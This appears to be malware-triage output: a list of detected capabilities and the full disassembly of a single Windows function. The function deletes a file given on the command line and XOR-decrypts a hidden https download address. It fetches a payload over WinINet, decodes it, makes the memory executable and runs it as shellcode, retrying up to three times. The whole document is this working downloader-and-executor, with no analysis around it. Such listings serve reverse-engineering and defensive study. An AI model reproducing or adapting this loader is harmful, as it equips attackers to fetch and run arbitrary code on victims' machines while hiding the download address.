Function at 0x14000ae10
Capabilities:
Allocate or change rwx memory
Create http request
Delete file
Encode data using xor
Execute shellcode via indirect call
Get http content length
Read data from internet
Receive data

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x268
movaps xmmword [rsp + 0x250], xmm6
mov ebx, ecx
mov rsi, rdx
call dbg.__main
cmp ebx, 1
jle 0x14000ae7f
mov ecx, 0x3e8
lea rdi, [rsp + 0x40]
lea rbx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov ecx, 0x41
or r9d, 0xffffffff
rep stosq qword [rdi], rax
xor edx, edx
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rbx
mov r8, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.1331243732323f716b706e7e760937303a31292d7e100a7e6f6e706e657e093730686a657e26686a657e2c28646b66706e777e193b3d3531716c6e6f6e6e6f6e6f7e18372c3b383126716b66706e
xor edi, edi
call sym.hex_decode
mov edx, 0x5e
mov rbx, rax
mov rcx, rax
call sym.xor_decrypt
mov rcx, rbx
call sym.free
lea rcx, str.362a2a2e2d6471712d3b2c28373d3b733d3b6c3431346f34736f6c6b686a6e6f69676f703c34703f2e373929702a3b303d3b302a3d2d703d3133646a6a6d712d3a362f276f3971666f362d396f2a6f3839286f712d363a276f6c6d6c6f712e36312a3170342e39
call sym.hex_decode
mov edx, 0x5e
mov rbx, rax
mov rcx, rax
call sym.xor_decrypt
mov rcx, rbx
mov rbp, rax
call sym.free
mov r13, qword [sym.imp.WININET.dll_InternetOpenA]
movdqa xmm6, xmmword [str.]
nop dword [rax + rax]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbp
call r13
mov rbx, rax
test rax, rax
je 0x14000b0f2
mov r9d, 4
lea r8, [rsp + 0x30]
mov edx, 0x1f
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetSetOptionA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rbp
mov dword [rsp + 0x30], 0x3180
mov rcx, rbx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rsi, rax
test rax, rax
je 0x14000b130
lea r9, [rsp + 0x3c]
lea r8, [rsp + 0x38]
mov edx, 0x20000005
mov rcx, rax
mov dword [rsp + 0x34], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x3c], 4
mov qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov r12d, dword [rsp + 0x38]
mov r9d, 4
xor ecx, ecx
mov r8d, 0x1000
mov rdx, r12
mov r15, r12
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
test rax, rax
je 0x14000b0e1
lea r9, [rsp + 0x34]
mov r8d, r12d
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000b0d0
test r12d, r12d
je 0x14000b0ac
lea eax, [r12 - 1]
cmp eax, 0xe
jbe 0x14000b149
mov edx, r12d
mov rax, r14
shr edx, 4
shl rdx, 4
add rdx, r14
nop dword [rax]
movdqu xmm0, xmmword [rax]
add rax, 0x10
pxor xmm0, xmm6
movups xmmword [rax - 0x10], xmm0
cmp rdx, rax
jne 0x14000b000
mov eax, r15d
and eax, 0xfffffff0
test r15b, 0xf
je 0x14000b0ac
mov ecx, r15d
sub ecx, eax
lea edx, [rcx - 1]
cmp edx, 6
jbe 0x14000b057
movq xmm1, qword [str.]
mov edx, eax
add rdx, r14
movq xmm0, qword [rdx]
pxor xmm0, xmm1
movq qword [rdx], xmm0
mov edx, ecx
and edx, 0xfffffff8
add eax, edx
and ecx, 7
je 0x14000b0ac
mov edx, eax
xor byte [r14 + rdx], 0x5e
lea edx, [rax + 1]
cmp edx, r15d
jae 0x14000b0ac
xor byte [r14 + rdx], 0x5e
lea edx, [rax + 2]
cmp edx, r15d
jae 0x14000b0ac
xor byte [r14 + rdx], 0x5e
lea edx, [rax + 3]
cmp edx, r15d
jae 0x14000b0ac
xor byte [r14 + rdx], 0x5e
lea edx, [rax + 4]
cmp edx, r15d
jae 0x14000b0ac
xor byte [r14 + rdx], 0x5e
lea edx, [rax + 5]
cmp edx, r15d
jae 0x14000b0ac
add eax, 6
xor byte [r14 + rdx], 0x5e
cmp eax, r15d
jae 0x14000b0ac
xor byte [r14 + rax], 0x5e
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov rdx, r12
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000b0d0
call r14
jmp 0x14000aee0
mov r8d, 0x8000
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rsi
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rsi
mov rcx, rbx
call rsi
add edi, 1
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp edi, 3
jne 0x14000aee0
movaps xmm6, xmmword [rsp + 0x250]
xor eax, eax
add rsp, 0x268
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rbx
add edi, 1
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000b100
xor eax, eax
jmp 0x14000b025